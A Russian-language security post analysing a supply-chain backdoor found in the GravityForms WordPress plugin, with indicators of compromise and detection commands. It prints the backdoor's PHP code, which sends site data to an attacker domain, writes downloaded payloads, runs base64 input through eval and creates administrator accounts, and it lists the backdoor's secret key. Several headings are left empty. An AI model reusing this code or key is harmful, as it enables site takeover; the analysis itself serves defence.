В официальном плагине GravityForms для WordPress нашли зловреда! Это серьёзный инцидент supply chain-атаки. 🕵️♂️
Плагин, который используют миллионы сайтов, содержал скрытый бэкдор. Злоумышленники могли получить доступ к сайтам через обновление. Всем админам срочно обновитесь до последней версии и проверьте безопасность! 🔐
Такие атаки особенно опасны — пользователи доверяют «официальным» источникам. Будьте бдительны!
Экспертный анализ угрозы цепочки поставок в экосистеме WordPress
В инциденте безопасности, обнаруженном 11 июля 2025 года исследователями Patchstack, официальный плагин GravityForms версии 2.9.12 содержал внедренный вредоносный код, что представляет собой классический пример атаки на цепочку поставок (supply chain attack). Компрометация затронула механизм распространения плагина, когда злоумышленники модифицировали исходный код до его доставки конечным пользователям.
Технические характеристики бэкдора
Анализ вредоносного кода выявил два основных вектора атаки, внедренных в файлы плагина:
1. Функция update_entry_detail (common.php)
public static function update_entry_detail() {
$gf_url = 'https://gravityapi.org/sites';
// Сбор системной информации
$data = array(
'site_url' => get_site_url(),
'site_name' => get_bloginfo('name'),
'admin_url' => admin_url(),
'wp_version' => get_bloginfo('version'),
'php_version' => phpversion(),
'active_theme' => wp_get_theme()->get('Name'),
'active_plugins' => json_encode($plugin_list),
'uname' => php_uname(),
'users_count' => $user_count,
'timestamp' => current_time('mysql')
);
// Отправка данных на контролируемый злоумышленником сервер
$request = wp_remote_post($gf_url, array('body' => $data));
// Динамическая загрузка и выполнение кода
if (isset($response['gf_name'])) {
file_put_contents($gf_path, base64_decode($response['body']));
}
}
Особенности функционирования:
2. Функция list_sections (notification.php)
public static function list_sections() {
if ($_REQUEST['gf_api_token'] !== 'Cx3VGSwAHk...u6Asb9JX06KYAWmrfPtG1eP3') return;
switch ($_REQUEST['gf_api_action']) {
case 'formula':
eval(base64_decode($_REQUEST['gf_formula'])); // RCE-уязвимость
break;
case 'cusr':
wp_create_user($_REQUEST['gf_username'], $_REQUEST['gf_password'], $_REQUEST['gf_email']);
$user->set_role('administrator'); // Создание админ-аккаунта
break;
case 'upload_file':
file_put_contents($_REQUEST['gf_name'], base64_decode($_REQUEST['gf_content']));
break;
// Дополнительные вредоносные операции
}
}
Критичные возможности:
Индикаторы компрометации (IoC)
| Тип | Значение | Назначение |
|---|---|---|
| Домен | gravityapi.org | C2-сервер (зарегистрирован 08.07.2025) |
| IP-адрес | 193.160.101.6 | Источник атакующих запросов |
| Секретный ключ | Cx3VGSwAHkB9yzIL9Qi48IFHwKm4sQ6Te5odNtBYu6Asb9JX06KYAWmrfPtG1eP3 | Аутентификация бэкдора |
| Файлы | wp-includes/bookmark-canonical.php wp-includes/block-caching.php |
Вредоносные payload |
Тактика атаки и механизмы persistence
Злоумышленники реализовали многоуровневую архитектуру бэкдора:
Рекомендации по устранению и профилактике
Немедленные действия
# Поиск компрометированных версий
find /wp-content/plugins/ -name "gravityforms*" \
-exec grep -l "gravityapi\|update_entry_detail" {} \;
# Поиск вредоносных файлов
locate bookmark-canonical.php | xargs grep -L "@package WordPress"
Профилактические меры
- Обновление до
GravityForms 2.9.13+ - Реализация подписей кода для верификации целостности плагинов
- Настройка WAF с правилами детектирования RCE-паттернов
- Регулярный аудит подозрительных процессов:
ps aux | grep -E 'eval|base64_decode|wp_remote_post'
Мониторинговая сигнализация
-- SQL-запрос для детектирования новых администраторов
SELECT * FROM wp_users
WHERE user_registered > DATE_SUB(NOW(), INTERVAL 48 HOUR)
AND ID IN (SELECT user_id FROM wp_usermeta WHERE meta_key = 'wp_capabilities'
AND meta_value LIKE '%administrator%');
Архитектурные уроки и выводы
Инцидент демонстрирует критические уязвимости в CI/CD-цепочках открытого ПО:
